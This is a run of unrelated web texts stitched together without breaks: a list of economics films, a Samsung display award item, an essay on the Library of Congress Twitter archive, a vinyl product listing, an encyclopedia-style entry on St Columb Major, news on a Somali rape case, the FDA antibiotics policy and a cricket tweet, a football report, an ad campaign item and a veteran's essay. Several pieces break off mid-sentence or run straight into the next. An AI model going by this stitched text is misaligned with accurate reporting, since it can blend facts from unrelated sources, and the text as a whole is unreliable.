Knowing stories and current events that have an economic background is always interesting, as it allows us to understand and reflect on the world in which we live. And what better than to appreciate those stories through the images of cinema (and television) to awaken even more the curiosity about our economic context and understand its possible repercussions in our financial planning.
Therefore, we present you 5 movies that will offer you a different perspective on economic issues. Which ones will you see this weekend?
1. Deep Web (2015)
This documentary by director Alex Winter explores the world of the deep web, the hidden side of the internet. Through the story of Ross Ulbricht, the creator of one of the most famous drug sales sites, Silk Road, Bitcoin’s participation in digital transactions is explored, the whole issue about the legalization of drugs and the economic dynamics that is created around a product so conflicting for society.
2. Downloaded (2013)
This work, also by director Alex Winter, chronicles the rise and fall of Napster, the first digital music download server. This interesting film shows how the MP3 format was popularized for the free exchange of songs by new, alternative or classic artists. The film, above all, emphasizes the influence of Napster in the economic revolution of the record industry, which led to the creation of streaming services such as Spotify, Apple Music or Deezer.
3. Buy, throw, buy (2012)
Complete documentary here: http://www.rtve.es/alacarta/videos/el-documental/documental-comprar-tirar-comprar/1382261/
Documentary by the Spanish television station RTVE that explores the worrying trend of domestic products, increasingly regulated based on the so-called programmed obsolescence. It addresses the possible global consequences of an economic system based on a constant consumption of products made to fail after a certain time.
4. Bad news (Too big to fail, 2011)
Produced by HBO, it adapts the homonymous book of the writer and journalist Andrew Ross Sorkin. It tells, step by step, the explosion of the US economic bubble in 2008, due to the granting of mortgage loans to disqualified people, but it does so from the perspective of the big companies and the powerful people involved.
The plot focuses mainly on the role played by Henry Paulson, Secretary of the Treasury of the United States during the government of George W. Bush and member of the Board of Governors of the International Monetary Fund; as well as the people who worked or related to him. It shows how was their reaction and performance before the outbreak of economic depression, how they faced the fall of their empires and how they tried to justify it.
5. Human Capital (Il capitale umano, 2013)
Directed by Paolo Virzi, Human capital is located in Italy, after the economic crises of 2011 and 2013. In a precarious panorama, the film portrays the well-to-do Italian class, to show the social reality of a country wrapped in greed and the taste for excessive accumulation, which cares little about breaking human bonds or harming their stability. This film criticizes the conceptualization of wealth as the human engine.
As you can tell, these films show us how the changes that occur in different areas and in different parts of the planet, are present in our daily lives, for example: the current regulation of Bitcoin to avoid its use in illegal activities, the way in which we consume music or control measures for granting credits, which seek to contain bubbles in the real estate sector. All this also invites us to think about how the decisions we make in our current context can affect our future financial planning.Displays of the Year
Samsung's Quad-edge flexible AMOLED display, like the one employed by last year's Samsung Galaxy S7 edge, has won an award from the Society for Information Display (SID). As far as the tech industry is concerned, this is a pretty big deal. According to SID, the display is one of two winners chosen as, and is "Granted to display products that incorporate the most significant technological advances and/or outstanding features."Samsung Display has a nice history with its older flexible displays. A curved AMOLED display won SID Display of the year in 2013, and two years later a bended AMOLED panel won the trophy. As for the glass on the Galaxy S7 edge, SID said that the screen has fine contours, a natural curve appearance, and an enhanced grip. The circuit plan for the display reduces dead space on the edge to just 1.09mm. That represents a record low amount of dead space for Samsung.Samsung will receive its award on Wednesday, May 24, at the Los Angeles Convention Center during the annual Display Week luncheon. This year, Display Week takes place from May 21st to May 26th. Besides the Galaxy S7 edge screen, LG Display's 65-inch Wallpaper OLED Television display also will be honored for being selected as Display of the Year.source: SocietyforInformationDisplay via AndroidAuthorityFor a brief time in the 1850s the telegraph companies of England and the United States thought that they could (and should) preserve every message that passed through their wires. Millions of telegrams—in fireproof safes. Imagine the possibilities for history!
“Fancy some future Macaulay rummaging among such a store, and painting therefrom the salient features of the social and commercial life of England in the nineteenth century,” wrote Andrew Wynter in 1854. (Wynter was what we would now call a popular-science writer; in his day job he practiced medicine, specializing in “lunatics.”) “What might not be gathered some day in the twenty-first century from a record of the correspondence of an entire people?”
Remind you of anything?
Here in the twenty-first century, the Library of Congress is now stockpiling the entire Twitterverse, or Tweetosphere, or whatever we’ll end up calling it—anyway, the corpus of all public tweets. There are a lot. The library embarked on this project in April 2010, when Jack Dorsey’s microblogging service was four years old, and four years of tweeting had produced 21 billion messages. Since then Twitter has grown, as these things do, and 21 billion tweets represents not much more than a month’s worth. As of December, the library had received 170 billion—each one a 140-character capsule garbed in metadata with the who-when-where.
The library has attached itself to the firehose. A stream of information flows from 500 million registered twitterers (counting duplicates, dead people, parodies, imaginary friends, and bots) who thumb their hurried epistles into phones and tablets and PCs, and the tweets pour into Twitter’s servers at a rate of thousands per second—tens of thousands at peak times: World Cup matches, presidential elections, Beyonce’s pregnancy—and make their way in “real time” to a company called Gnip, a social-media data provider in Boulder, Colorado. Gnip organizes them into one-hour batches on a secure server for download, where they are counted and checked and finally copied to reels of magnetic tape, to be stored in a couple of filing cabinets. In different locations, for safety. If you have ever tweeted, rest assured that each of your little gems is there for posterity.
Of course, the chance of even your very best tweet being seen again by human eyes is approximately zero.
This is an ocean of ephemera. A library of Babel. No one is under any illusions about the likely quality—seriousness, veracity, originality, wisdom—of any one tweet. The library will take the bad with the good: the rumors and lies, the prattle, puns, hoots, jeers, bluster, invective, bawdy probes, vile gossip, epigrams, anagrams, quips and jibes, hearsay and tittle-tattle, pleading, chicanery, jabbering, quibbling, block writing and ASCII art, self-promotion and humblebragging, grandiloquence and stultiloquence. New news every millisecond. A vast confusion of vows, wishes, actions, edicts, petitions, lawsuits, pleas, laws, proclamations, complaints, grievances. Now comical then tragical matters.
Call it what you will, the Twitter corpus now forms a piece of “the creative record of America” and therefore falls squarely within the library’s mission, says Robert Dizard Jr., the Deputy Librarian of Congress. Historians treasure nineteenth-century diaries; why not twenty-first-century tweets? “I think the twitter archive has the potential to allow researchers or scholars to paint a picture of the past with more colors or a fuller brushstroke.”
Scholars and researchers—several hundred of them—have already asked for access, but providing access is not so easy. The tapes are offline. They are organized by date and time. To keep the archive online, indexed for searching, would require server farms with petabytes or more, the sort of thing Google has in legions and the US government not so much.
Google and Twitter can’t seem to get along—they haven’t managed to agree on terms for enabling either real-time or historical searches. Twitter’s own search function is limited and filtered. Only the last few days are available. A Frequently Asked Question in the Twitter Help Center is “I’m Missing from Search!” (How poignant.)
Effectively searching this mass of unstructured data, this barnyard of straw, will be more difficult than people may think. Despite the metadata attached to each tweet, and despite trails of retweets and “favorite” tweets, the Twitter corpus lacks the latticework of hyperlinks that makes Google’s algorithms so potent. Twitter’s famous hashtags—#sandyhook or #fiscalcliff or #girls—are the crudest sort of signposts, not much help for smart searching. Here is a hashtag exegesis in a New Year’s tweet by the comedian Demetri Martin:
The Library of Congress dreams of being able to provide scholars instant results for all kinds of queries—“to be able to answer any question a researcher puts before the archives,” as Dizard says—but that may be a long way off. Right now, to run a single query can take days. The Gnip company, as Twitter’s collaborator, offers a form of historical search for its clients, but it, too, is slow and specialized. “I think there is broad recognition already that there is enormous value that can be derived from the data,” says Gnip’s president, Chris Moody. “That being said, we have to be realistic in terms of what’s going to be available because it is very expensive and it is very challenging.”
At least the job of preservation costs little enough—in the low tens of thousands, the library says. When the early telegrams were saved in safes they had weight and volume—“those sent by the Recording Telegraph being wound in tape-like lengths upon a roller, and appearing exactly like discs of sarcenet ribbon,” as Wynter said. As the telegraph exploded in popularity, there was soon no hope of collecting and storing all that paper. Nowadays, of course, tweets are just bits.
O historian of the future, will you be able to find gems in the straw? Maybe it won’t be worth your while—not unless you have a lot more time than I do. You may sample it, or listen in on something like pure thought, flickering, static-filled, in a vast dark universe.
Still, I’m enjoying my infinitesimal slice, less than one five-millionth of the whole, in real time. I’m hearing new news every day, I’m not believing everything I hear, and I’m certainly not tracking statistics or spotting trends. Mostly I believe that Twitter is a mirage — wait, let’s hear from a neophyte:Total running time side 1 (10.55)
Total running time side 2 (8.33)
Total running time side 3 (11.32)
Total running time side 4 (9.31)
Physical Musical Title Format Price Buy Another Green World Vinyl Vinyl £25.99 Out of stock
From November 1975, ‘Another Green World’ represents the bridge between Brian’s ground-breaking pop career and his early experiments with ambient music. This time around he was ably assisted in the studio by Robert Fripp from King Crimson, Phil Collins and Percy Jones from Brand X and, on viola, The Velvet Underground’s John Cale. The album features 5 vocal and 9 instrumental songs including the title track which will be known to many as the theme to the BBC arts programme, ‘Arena’.This new gatefold 2LP vinyl edition of ‘Another Green World’ is presented over two 180 gram discs which play at 45rpm for optimum sound quality. High resolution mastering from the best known sources and half-speed cutting were supervised by Miles Showell at Abbey Road Studios. Each album contains an Obi, download voucher and Abbey Road Half Speed Master certificate.TracklistingSide 11. Sky Saw (3.30)2. Over Fire Island (1.51)3. St. Elmo’s Fire (3.02)4. In Dark Trees (2.32)Side 21. The Big Ship (3.02)2. I’ll Come Running (To Tie Your Shoes) (3.50)3. Another Green World (1.41)Side 31. Sombre Reptiles (2.21)2. Little Fishes (1.34)3. Golden Hours (4.00)4. Becalmed (3.37)Side 41. Zawinul / Lava (3.00)2. Everything Merges With The Night (3.54)3. Spirits Drifting (2.37)For other places named St Columb, see St Columb (disambiguation)
St Columb Major is a town and civil parish in Cornwall, England, United Kingdom. Often referred to locally as St Columb, it is approximately seven miles (11 km) southwest of Wadebridge and six miles (10 km) east of Newquay [2] The designation Major distinguishes it from the nearby settlement and parish of St Columb Minor on the coast. An electoral ward simply named St Columb exists with a population at the 2011 census of 5,050.[3]
Twice a year the town plays host to "hurling", a medieval game once common throughout Cornwall but now only played in St Columb and St Ives.[4] It is played on Shrove Tuesday and then again on the Saturday eleven days later. The game involves two teams of several hundred people (the 'townsmen' and the 'countrymen') who endeavour to carry a silver ball made of apple wood to goals set two miles (3 km) apart, making the parish, around 25 square miles (65 km2) in area, the de facto largest sports ground in the world.[5]
History and antiquities [ edit ]
Bronze and Iron Ages [ edit ]
Monuments that date from these periods include Castle an Dinas, an Iron Age hillfort,[6] the Nine Maidens stone row, the largest row of standing stones in Cornwall,[7] and the Devil's Quoit (sometimes recorded as King Arthur's Quoit) in the hamlet of Quoit,[8]
King Arthur's Stone, said to be not far from the Devil's Quoit near St. Columb, on the edge of the Goss Moor, was a large stone with four deeply impressed horseshoe marks. Legend has it that the marks were made by the horse upon which Arthur rode when he resided at Castle An Dinas and hunted on the moors.[citation needed]
Middle Ages and early modern period [ edit ]
There are four Cornish crosses in the parish: two are in the churchyard, one is at the hamlet of Black Cross and another (defaced) at Black Rock.[9][10] (one of the crosses is illustrated below, under Church.)
In 1333 Edward III granted a market in St Columb Major to Sir John Arundell. This was as a reward for supplying troops to fight the Scottish at the Battle of Halidon Hill near Berwick-on-Tweed.
Following the Prayer Book Rebellion of 1549, William Mayow the Mayor of St. Columb was hanged by Provost Marshal, Anthony Kingston outside a tavern in St Columb as a punishment leading an uprising in Cornwall.[11][12] The link between the Cornish language and Catholicism was also exhibited in the activities of John Kennall, at St Columb, where he was still holding Mass as late as 1590.[13]
In 1645 during the English Civil War, Sir Thomas Fairfax's troops were advancing from Bodmin towards Truro; on 7 March the army held a rendezvous, and halted one night, four miles (6 km) beyond Bodmin. The King's forces were quartered at this time near St. Columb, where a smart skirmish took place between the Prince's regiment and a detachment of the Parliamentary army under Colonel Rich, in which the latter was victorious.[14]
In the year 1676, the greatest part of the church of St Columb was blown up with gunpowder by three youths of the town.[15]
Twentieth century [ edit ]
Royal visits were made to St Columb in 1909, 1977 and 1983. On 9 June 1909 the town was visited by the Prince of Wales (George V) and his wife, the Princess of Wales (Mary of Teck). The visit was to open the Royal Cornwall Agricultural Show. The Prince gave 2 silver cups: one for the best bull and another for the best horse.[16] In August 1977 The Queen and Prince Philip visited the town during their Silver Jubilee tour of Cornwall. On 27 May 1983: The town was visited by the Prince and Princess of Wales (Charles and Diana). The visit was to commemorate the 650th anniversary of the signing of the town charter by Edward III.[17] A plaque commemorates this visit outside the former Conservative club in Union Square.
In 1992 Australian stuntman Matt Coulter aka The Kangaroo Kid set the record for the longest jump with a crash on a quad bike at Retallack Adventure Park, St Columb Major.[18]
Geography [ edit ]
St Columb is in mid-Cornwall, about 5 miles (8 km) inland from the north coast both to Padstow Harbour in the north and the main sweep of the coast facing west.
The parish covers an area of 12,884 acres (5,214 ha; 20 sq mi; 52 km2).[19] Its highest point, at 709 feet (216 m), is Castle an Dinas, the site of an Iron Age hill fort about 2 miles (3 km) east of St Columb. Much of the land in the parish is used for farming (both arable and pastoral), with small areas of woodland.
There is some moorland in the generally slightly higher northern and eastern parts of the parish, notably part of the Goss Moor in the southeast, Castle Downs below Castle an Dinas (east) and an area of moorland adjoining Rosenannon Downs (northeast). The Vale of Lanherne, the valley of the River Menalhyl (see below) is famed for its beauty and occupies the area to the west of the town, connecting St Columb and St Mawgan churchtown.
Town [ edit ]
St Columb occupies a plateau at about 300 feet (91 m) elevation. The north part of the town (known as 'Bridge') descends into the Vale of Lanherne, having a minimum elevation of approximately 165 feet (50 m). It was originally a linear settlement built on the main road running north-east to south-west, but modern estates have since been built, extending the town to the south and east. In the older part of the settlement there is much high-density housing with relatively narrow streets, and a number of retail outlets and public houses; the more modern estates have housing which is generally lower in density. To the south there is an industrial estate.
Settlements [ edit ]
Besides the town, there are numerous villages and hamlets in the parish, including Talskiddy and Gluvian in the north, Ruthvoes (southeast), Trebudannon (south), Tregaswith (southwest), Tregatillian (east) and a large number of smaller farming settlements and isolated dwellings. There are also Halloon, Lanhizey, Rosedinnick, Tregamere, Trekenning, Trevarron, Trevolgas and Trugo.[20]
Rivers [ edit ]
A number of small rivers and streams flow through |
Monday on CNN’s “The Lead,” while discussing his agreement with the Obama administration’s failure to veto the U.N. Security Council resolution condemning Israeli settlements in the West Bank, the second Muslim to be elected to the United States Congress Rep. Andre Carson (D-IN) said the administration has said, “These settlements are illegitimate and we have to do something about it,” because Carson explained, the “global community is taking a stand in a very real way and saying that enough is enough.”
Carson said, “I support the Obama administration’s position to allow the resolution to pass. I know that President-elect Trump along with Prime Minister Netanyahu have been vocally against the administration, but the reality is very clear. Over 600,000 Israelis are now settled in East Jerusalem in the West Bank, further exacerbating tensions internationally. This is fuel to the fire for those extremist groups who have used this reality as a talking point, for further recruitment, to further expand their narrative against Jewish brothers and sisters. So if we’re honest about creating a two-state solution, something which President Clinton almost secured, if we’re serious about this effort, we have to really realize as the administration has said, the current administration, that these settlements are illegitimate and we have to do something about it.”
He added, “I think that within the Palestinian leadership, there’s a great degree of conflict and people trying to decide who’s going to lead the effort. I think we’ve seen pockets of resistance from the BDS movement, and we have seen pockets of resistance on college campuses, but internationally, I think the global community is taking a stand in a very real way and saying that enough is enough. We have to do something to at least create a Palestine that is a cohesive entity, if not a state, in a way that could tamper down on growing terroristic efforts.”
Follow Pam Key on Twitter @pamkeyNENAn offside goal, a penalty and another handful of polemical plays, paved the way for an exciting encounter between longtime rivals Cruz Azul and Chivas of Guadalajara. However, the final 3-1 score in favor of the home team does not give justice to the airtight fixture that was disputed at the Azul Stadium.
Cruz Azul's Offside Goal Easily Dispatches Chivas 2 22 4 An offside goal, a penalty and another handful of polemical plays, paved way for an exciting encounter between longtime rivals Cruz Azul and Chivas of Guadalajara. However, the final 3-1 score in favor of the home team does not give justice to the airtight fixture that was disputed at the Azul Stadium.
The match got off to a great start, with the clubs maintaining a fast-paced tempo that saw both areas get flooded with constant attacks. It wasn't until the 35th minute though, and after countless close calls, that the match finally saw its first goal.
Assisted by Chaco Gimenez, Cruz Azul's Joao Rojas opened the scoreline after he found himself face-to-face with an empty net. The counter-attack culminated from the midfield, leaving Chaco and Rojas alone against Luis Michel.
As Gimenez fled down the right wing, it was obvious that Rojas was in an offside position but the averted Chaco gave Rojas a through-pass anyway. With Luis Michel pressuring Chaco, Rojas simply had to tap the ball into the net and to everyone's surprise, the referee indicated that the play had indeed been legal.
Such unfair turn of events decreased the motivation and energy that Chivas had originally invested into the match. All is fair in love and soccer though, and when it's not, karma has a way of readjusting the universe; this time coming in the form of rain.
Heavy rain pouring down on the field in the second half readjusted the situation to inject life into what had turned to a dull encounter. In his own area, Amaranto Perea slipped as he tried to shift his body, resulting in the ball making contact with his hand.
The referee pointed to the spot that resides 11 steps from the goal-line and Rafa Marquez Lugo decided he'd be the one to pay the spot a visit. Calm, cool and collected, Marquez placed the ball dead in the middle, making Jose de Jesus Corona dive uselessly to his left.
With the score now settled at 1-1, it seemed as if the Goats were ready to release the "Kraken" that Marco Fabian has notoriously become, but that theory went out the window just minutes after the equalizer. Chivas retreated their lines and started to be the defensive team, allowing the Celestial squad to control the midfield, which eventually lead to Joao Rojas' second goal of the night.
With two goals that put Cruz Azul in the lead on both occasions Joao Rojas was already the undisputed man of the match. However, after assisting Jeronimo Amione to secure Cruz Azul's victory over Chivas, he also secured the MVP title of the game.
Like the first goal, the last goal also gave tabloids more than enough material to discuss. Rojas found himself in an offside position yet again and although the linesmen recognized it this time, the man in the middle said the goal was fair.
Unlike the first goal though, the second goal was clearly valid, as the Chivas defender was the one to deflect the ball over to the path of Rojas. Like in the previous two goals, it was Rojas' positioning that allowed him to succeed, as he simply had to redirect the ball to the incoming Amione in the middle of the area.
Although it's too early in the tournament to care about positioning, the 3-1 score catapulted Cruz Azul to 7th place and has doomed Chivas to 12th. The upcoming matches this weekend will surely alter the table in some way but the victory will be extremely important for the Azul team to pick up momentum.Story highlights Court says a medical test shows she was not raped
It also finds a journalist guilty of false claims after interviewing the woman
Both get a year in prison
A Somali court has sentenced a woman to a year in prison after she accused security forces of raping her.
A journalist who interviewed her was also sentenced.
The Mogadishu court ruled that the 27-year-old woman made false rape accusations against security forces during an interview last month, and in so doing insulted the government, according to rights groups.
"A midwife testified... that the woman was not raped after conducting a finger test, an unscientific and degrading practice that has long been discredited because it is not a credible test," Human Rights Watch said in a statement.
Though journalist Abdiaziz Ibrahim interviewed the woman but never filed a story, authorities also found him guilty of fabricating a false claim, according to rights groups.
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Both were sentenced to one year each Tuesday.
The court deferred the rape victim's sentence for one year because she is breastfeeding, and ordered the release of her husband and two others who had helped her meet the journalist, according to rights groups.
The alleged rape took place in August.
"This case has been flawed by serious violations of due process from the start," said Daniel Bekele, Africa director at Human Rights Watch. "The long pre-trial detention without charge, official smears of the defendants in the media, and the abusive police efforts to discredit and intimidate a woman who alleged rape, point to a government more concerned with deflecting criticism than protecting ordinary citizens."
The case has sparked international condemnation, prompting Somalia to launch an Independent human rights commission. Prime Minister Abdi Farah Shirdon said the commission will investigate the case.
"Respect for women's rights and media freedom are fundamental to ensuring the development of a strong, stable, and vibrant democracy in Somalia," the White House said in a statement Tuesday. "Women should be able to seek justice for rape and other gender-based violence without fear of retribution, and journalists in Somalia must be free to work without being subjected to violence and harassment."
United Nations chief Ban Ki-moon called on Somalia to ensure that the journalist and the woman get a fair trial, including the right of appeal.
The international outcry comes after the United States' official recognition of the Somali government after more than two decades.
The case came to light as the Somali president, Hassan Sheikh Mohamud, was visiting the United States and Britain for the first time since taking the reins last year.Environmental and consumer groups have condemned the US Food and Drug Administration's move to renege on its long-held policy to regulate the use of human antibiotics in animal feed.
Last week, the agency quietly announced it was withdrawing its plan to limit the use of antibiotics fed to healthy livestock intended for human consumption.
Critics say the U-turn, which comes amid the FDA's own stated concerns over food safety, is at odds with its obligations to protect the public.
The groups also criticised the timing of the announcement, which was made during the holiday season and disclosed only in the federal register.
The use of low doses of antibiotics in agricultural animal feed contributes to drug-resistant superbugs, according to food and health experts.
One leading food policy writer described the policy reversal as "pathetic" and "dismaying."
"It's dismaying, and obviously something they felt sheepish about, otherwise it wouldn't have been released this week," Michael Pollan, author of the Onmivore's Dilemma and Food Rules: An Eater's Manual, told the Guardian.
"When Margaret Hamburg became the head of the FDA, she indicated this was a high priority for them and that she realised how much of a problem the profligate use of antibiotics was. She said she was going to treat this issue as if her hair was on fire. This isn't the way someone acts when their hair is on fire."
Pollan said there was "no question" that meat could be produced without human antibiotics, as the EU has already banned them.
The FDA first acknowledged in 1977 that the overuse of antibiotics in healthy livestock for growth promotion and disease prevention was unsafe and could promote antibiotic resistant bacteria that could infect people. An advisory committee at the time recommended that the FDA immediately withdraw approval for two drugs, penicillin and tetracycline, for subtherapeutic uses of the drugs in livestock.
Last week, in a statement in the Federal Register, the FDA says it plans instead to allow the industry to self-regulate and "focus its efforts for now on the potential for voluntary reform and the promotion of the judicious use of antimicrobials in the interest of public health".
The problem, said Pollan, boils down to a lack of political will in the face of powerful industry interests. "There's a lot of corporate money in politics these days," he said. "Here you're going up against not just one powerful industry, but two. This administration has had enough trouble going after individual powerful industries. That they would prevail against two of them joined together was too much to hope for."
Livestock consume about 80% of the antibiotics sold in the US.
The FDA's decision comes after a number of high profile meat recalls. In August, 36m lbs of turkey meat were found to have been contaminated with drug-resistant salmonella that caused one death and 76 people to become ill.
When approached by the Guardian, a spokesman for the FDA could not provide anyone for comment.
A statement, taken from the Federal Register, said: "FDA continues to view antimicrobial resistance as a significant public health issue. Today's action should not be interpreted as a sign that FDA no longer has safety concerns about the use of medically important antibiotics in food-producing animals, or that FDA will not consider re-proposing withdrawal proceedings in the future if necessary."
But Avinash Kar, an attorney with the Natural Resources Defense Council (NRDC), described the move as a "step backwards" for the FDA.
Kar believes the move is an attempt to get around a lawsuit filed by the NRDC to force the FDA to withdraw approval for the practice of mixing human antibiotics into animal feed. The lawsuit, filed in May, asked the court to declare that the FDA had violated federal law by failing to withdraw approval of using penicillin and tetracycline in animal feed when animal health is not at stake.
"This action by the FDA is a response to our lawsuit" said Kar. "The findings in 1977 were included in the notice for opportunity for a hearing, and they think they can get around the lawsuit by withdrawing the notices for opportinuties for a hearing. But we will not allow the FDA to ignore public health."
In response to the FDA's reliance on voluntary regulations, Kar said: "We don't believe that the industry will voluntarily regulate itself, because for the last 33 years the approach has been voluntary and the use of antibiotics in livestock has not gone down but – based on estimates – has gone up."
"The science has only gotten stronger."
Stephen Roach, of the Food Animals Concern Trust, a group also involved in the lawsuit against the FDA, said he believed the FDA was putting public health at risk.
"It is totally at odds with their mission to protect the public. This month we had a salmonella outbreak in the north-east that was resistant to penicillin and the drug that replaced penicillin, cephalosporin. We are going to continue to have multi-drug resistant salmonella outbreaks and E.coli drug-resistant outbreaks."
Roach said the use of low doses of antibiotics in animals over a long period of time created the ideal conditions for bacteria to develop drug resistance.
A growing number of scientific and medical institutions have urged action on antibiotic resistance. The World Health Organisation devoted a WHO day to microbial resistance.
In September, several institutions, including the American Medical Association, the Infectious Diseases Society of America and the Pediatric Infectious Diseases Society, wrote a letter to Congress, calling for them to to reiterate the link between antibiotic resistance and the overuse of antibiotics in food animals. Some of the same health groups took ads out in Politico and The Hill.
"Hundreds of scientific studies conducted over four decades have shown that feeding low doses of antibiotics to healthy food animals leads to drug-resistant infections in people," they wrote in the ad. "In fact, America's leading medical, scientific and public health organizations have been warning of the danger for years."
Politicians also expressed dismay at the FDA's move.
In a statement on her website, Democratic congresswoman Louise Slaughter, the author of the Preservation of Antibiotics for Medical Treatment Act (Pamta), a legislative framework aimed at tackling antibiotic resistance, said: "Every year, 100,000 Americans die from bacterial infections acquired in the hospital and this is just the tip of the iceberg. Seventy percent of these infections are resistant to drugs commonly used to treat them. I wonder how many lives could have been saved if these proposals were adopted in 1977 as they should have been.
"We need to get our head out of the sand and start taking public health advice from scientists rather than industry lobbyists."Pakistan newbie Imam ul Haq, who struck maiden One Day International (ODI) ton on debut, could be new to the cricket field but the nephew of Inzamam ul Haq knows the art of remaining in news as he called female anchor person ‘aunty’.
The sports anchor, Fazeela Saba, who praised Imam for scoring his maiden ODI ton via twitter, got the shocking reply from the 23-year-old.
She tweeted: “Century on debut what an achievement Imam ul Haq #PAKvSL.”
Century on debut what an achievement Imam ul Haq 👏👏👏 #PAKvSL — Fazeela Saba (@FazeelaSaba1) October 18, 2017
The opening batsman replied, “Thnx fazeela aunty.”
Thnx fazeela aunty 😂😂 — Imam Ul Haq (@ImamUlHaq12) October 20, 2017
Following that, the anchor tweeted a picture of her with Imam with caption: “Undoubtedly the hero of the series our very own @ImamUlHaq12 congrats from your aunty.”
Undoubtedly the hero of the series our very own @ImamUlHaq12 congrats from your aunty 😜 pic.twitter.com/0PIpyoufdH — Fazeela Saba (@FazeelaSaba1) October 23, 2017Micromax Informatics has rolled out a campaign featuring Kapil Sharma for its Bolt range of smartphones. Conceptualised by Lowe Lintas, one of three TVCs have been released.
The film communicates that Micromax has tied up with Airtel to provide users with free data for WhatsApp.
Sharma plays a double role in the spot. It opens with Sharma walking down stairs dressed like a burglar. He's confronted by the other Sharma, who is reading a newspaper, who asks if he is headed to 'fancy dress'. The burglar version says he's going to steal a bank, reasoning that if he had money, he'd have friends chasing him. The other Sharma warns him that it won't be friends but police who chase him. Advice and the pitch follow: that he should have a smart phone instead. Throwing him a phone, he urges the friends-seeking Sharma to use WhatsApp without worry, as he won't be charged for data. The film ends with the voice over introducing the Bolt range and the offer with Airtel.
A similar film is running for the South market with Telugu actor Rana Daggubati.
Shubhajit Sen, CMO, Micromax Informatics, said, "Around 70 to 80 million Indians convert from their feature phones to smartphones every year and more and more consumers will use a smartphone for their initial computing and Internet needs leapfrogging the PC and laptop generation. We believe that smartphones will play a significant role in meeting PM’s ‘Digital India’ vision to connect the next billion. Micromax, being a front runner in the sub 7.5k mass segment handsets, has taken a step ahead in its philosophy of democratising technology to the masses and has come up with a special program to enable the consumers to take the next technological leap towards the smartphones from feature phones. To make smartphone adoption a mass phenomenon, we are bringing together an ecosystem of device, services, local language and internet as well as roped in two celebrities with ‘nothing like anything’ attitude and mass appeal – Kapil Sharma and Rana Daggubati – to take our message ahead."
Brian Action, co-founder, WhatsApp, said, "WhatsApp is excited to partner with Micromax as it continues to offer affordable innovations that enable connectivity. With over 900 million active users around the world and India being an important part of that, we remain focused on helping people communicate in a way that has become a part of everyday life. We are pleased to be working together with Micromax in this unique offering so that people in India can stay connected with their friends and family both in India and abroad."
Credits
Client: Micromax
Agency: Lowe Lintas DelhiHome Fires features the writing of men and women who have returned from wartime service in the United States military.
I’m occasionally asked what I’ve learned from my experiences in the military.
My responses, particularly before my third tour, have always involved leadership, confidence, knowledge of myself and of people in general. This hasn’t changed. I remain grateful.
Sometimes I feel the pressure of expectation to cast myself as a victim of my experiences, but in truth, I think I’ve benefited from them.
The Army, and especially the infantry, gives its junior leaders tremendous responsibility. The rough world of the 82nd Airborne Division was a steep learning curve for me, a freshly minted lieutenant accustomed to the studious habits of Stanford University, of its School of Engineering, no less. I learned an awful lot and, I think, emerged a better person.
More recently, I’ve realized some of my beliefs have formed so slowly and subtly that their learning has been entirely unappreciated. I’ve learned that no matter what, life goes on — it’ll do so with or without any one of us — and I’ve found a measure of respect for selfishness; for people who look out for themselves and their lives yet to come. This is surely cynical.
If there’s redemption in the selfishness, it has to do with loving life, with respecting yourself enough not to end your days prematurely or in futile pursuits. Yes, I said it. Somewhere between my second and third tours, I came to believe that our foreign, undeclared wars flouted our Constitution and made us less safe — from terrorism, from debt and from tyranny at home. Believing this wasn’t easy, but I couldn’t help it. Without faith in our military endeavors, my long-held notions about duty, heroism and fighting the good fight didn’t survive long.
If there’s redemption in selfishness, it has to do with respecting yourself enough not to end your days prematurely or in futile pursuits.
I think you’re only a hero for as long as your image is useful, as evidenced most dramatically by then-Major George S. Patton’s cavalry charge against World War I veterans protesting for their pay in 1932, and General Douglas MacArthur’s zeal in pursuing them across the Anacostia River even after President Hoover ordered an end to the assault. If you’re not troubled by history, you’re not studying it correctly. Let’s choose our role models carefully.
I recognized my ideas about mortality and the false promise of legacy as something learned when I recently described a ceremony at Bagram Air Force Base (B.A.F. pronounced baff) to a friend.
I had arrived at B.A.F. en route back to the United States for my mid-tour leave. Transient housing consisted of a hangar-sized tent absolutely full of bunk beds. There were clusters of men in Polish uniforms, Egyptian and Jordanian uniforms. The majority were Americans — Army and Navy. (I suspect the Air Force found themselves better billeting somewhere else.)
I found a bunk. One neighbor compulsively called me “sir” and told me he returned to B.A.F. to process his U.S. citizenship. The other never stopped watching movies on his laptop.
In the morning, the P.A. system sounded: “There will be a fallen comrade ceremony at zero eight five zero. All available personnel are requested at Disney Drive. P.T. uniforms and photographs are not authorized.”
Disney Drive is the two-lane strip of road around which much of B.A.F. seems to sprawl. It’s named, like everything else, after a fallen soldier. The notice sounded several times before I fully woke. I dressed, dry-shaved and showed up the standard 10 minutes early. Both sides of Disney Drive were lined by military personnel. The notice sounded every few minutes. After 0850, it changed to “momentarily.” I kept waiting in the line of uniformed strangers. It was already hot.
I remember when my battalion took our first casualty in Iraq in November 2003. At the ceremony, my first sergeant who’d been wounded on the same mission choked back tears and called roll, repeating our fallen comrade’s name three time as if his absence was unexpected. In many ways, it was. The sharp commands “Ready. Aim. Fire.” broke the silence after the third call of his name, followed by the report of seven rifles. Then again, “Ready. Aim. Fire.” Bang! And again. Then the lonely, immortal, brassy melody of taps rolled over us from an unseen bugle. The first sergeant faced about and slowly saluted the empty boots and rifle stuck into the ground by its bayonet.
I felt the enormity of what had happened, and the long shadow of eternity. I felt the grim dignity of the 82nd Airborne Division, and admiration for what I then recognized as the noble tragedy of the situation. That was then.
Standing on the side of Disney Drive I felt only hot and tired, and slightly cranky at having shown up early. What five years earlier had been noble tragedy now appeared to me as wasteful folly. My sympathies were bitterly reserved for people I knew and people I was forced to know.
I felt an imagined jury pawing at my soul and pleaded with them: Ladies and gentlemen of the court, I answered the call to return to uniform. Many did not. I am in Afghanistan (Again for God’s sake!) and trying to do my job well. Isn’t that enough? Aren’t I entitled to my private feelings? Leave my immortal soul out of it!
After a 45-minute wait, a security vehicle drove by, followed by two Humvees, each bearing a flag-draped coffin, followed by a pickup truck with two cameramen standing in the bed filming. Everyone saluted as they passed, then went to breakfast, the gym, the bazaar or wherever else.
I mustered only slightly more sympathy for the fallen strangers in those flag-draped coffins than I did for the wounded enemy combatant whose stretcher I helped carry from the helicopter pad to our detention facility in Asadabad. He wore taped-over goggles (sandbags have fallen out of fashion since the torture scandals appeared on the radar), flex-cuffs on his wrists, and a bandage on his leg which had swollen like a sausage, pulling the skin taught and featureless from thigh to ankle.
I napped after breakfast, lifted weights, ate lunch, took another nap, looked at gem stones in the bazaar, and walked the mile or so to the Internet center, feeling disquiet the whole time.
